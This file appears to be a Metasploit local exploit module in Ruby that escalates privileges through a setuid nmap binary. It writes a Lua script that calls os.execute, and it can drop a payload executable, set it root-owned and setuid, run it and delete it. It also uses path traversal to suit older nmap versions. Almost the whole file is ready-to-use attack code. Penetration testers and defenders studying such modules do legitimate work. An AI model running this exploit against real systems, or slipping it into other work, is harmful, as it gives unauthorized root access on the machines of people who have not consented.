107 lines
3.7 KiB
Ruby
107 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Exploit::EXE
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include Msf::Post::File
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Setuid Nmap Exploit',
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'Description' => %q{
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Nmap's man page mentions that "Nmap should never be installed with
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special privileges (e.g. suid root) for security reasons.." and
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specifically avoids making any of its binaries setuid during
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installation. Nevertheless, administrators sometimes feel the need
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to do insecure things. This module abuses a setuid nmap binary by
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writing out a lua nse script containing a call to os.execute().
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Note that modern interpreters will refuse to run scripts on the
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command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
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payloads will most likely not work.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'egypt' ],
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'DisclosureDate' => '2012-07-19',
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'Platform' => %w[bsd linux unix],
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'Arch' => [ ARCH_CMD, ARCH_X86 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Targets' => [
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[ 'Command payload', { 'Arch' => ARCH_CMD } ],
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[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
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[ 'BSD x86', { 'Arch' => ARCH_X86 } ],
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],
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'DefaultOptions' => { 'PrependSetresuid' => true, 'WfsDelay' => 2 },
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'Notes' => {
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'Reliability' => [ REPEATABLE_SESSION ],
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'Stability' => [ CRASH_SAFE ],
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'SideEffects' => [ ARTIFACTS_ON_DISK ]
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},
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'DefaultTarget' => 0
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)
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)
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register_options([
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# These are not OptPath becuase it's a *remote* path
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OptString.new('Nmap', [ true, 'Path to setuid nmap executable', '/usr/bin/nmap' ]),
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OptString.new('ExtraArgs', [ false, 'Extra arguments to pass to Nmap (e.g. --datadir)', '' ]),
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])
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register_advanced_options [
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OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
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]
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end
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def nmap
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datastore['Nmap']
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end
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def check
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return CheckCode::Safe("#{nmap} file not found") unless file? nmap
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return CheckCode::Safe("#{nmap} is not setuid") unless setuid? nmap
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CheckCode::Vulnerable("#{nmap} is setuid")
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end
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def exploit
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if (target.arch.include? ARCH_CMD)
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p = payload.encoded.gsub(/([$"])/) { |_m| "\\#{Regexp.last_match(1)}" }
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evil_lua = %{ os.execute("#{p} &") }
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else
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exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}.elf"
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print_status("Dropping executable #{exe_file}")
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write_file(exe_file, generate_payload_exe)
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evil_lua = %{
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os.execute("chown root:root #{exe_file}");
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os.execute("chmod 6700 #{exe_file}");
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os.execute("#{exe_file} &");
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os.execute("rm -f #{exe_file}");
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}
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end
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lua_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}.nse"
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print_status("Dropping lua #{lua_file}")
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write_file(lua_file, evil_lua)
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print_status("Running #{lua_file} with Nmap")
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scriptname = lua_file
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if (lua_file[0, 1] == '/')
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# Versions before 4.51BETA (December 2007) only accept relative paths for script names
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# Figure 10 up-directory traversals is enough.
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scriptname = ('../' * 10) + lua_file[1..]
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end
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begin
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# Versions before 4.75 (August 2008) will not run scripts without a port scan
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result = cmd_exec "#{nmap} --script #{scriptname} -p80 localhost #{datastore['ExtraArgs']}"
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vprint_status(result)
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ensure
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rm_f(lua_file, exe_file)
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end
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end
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end
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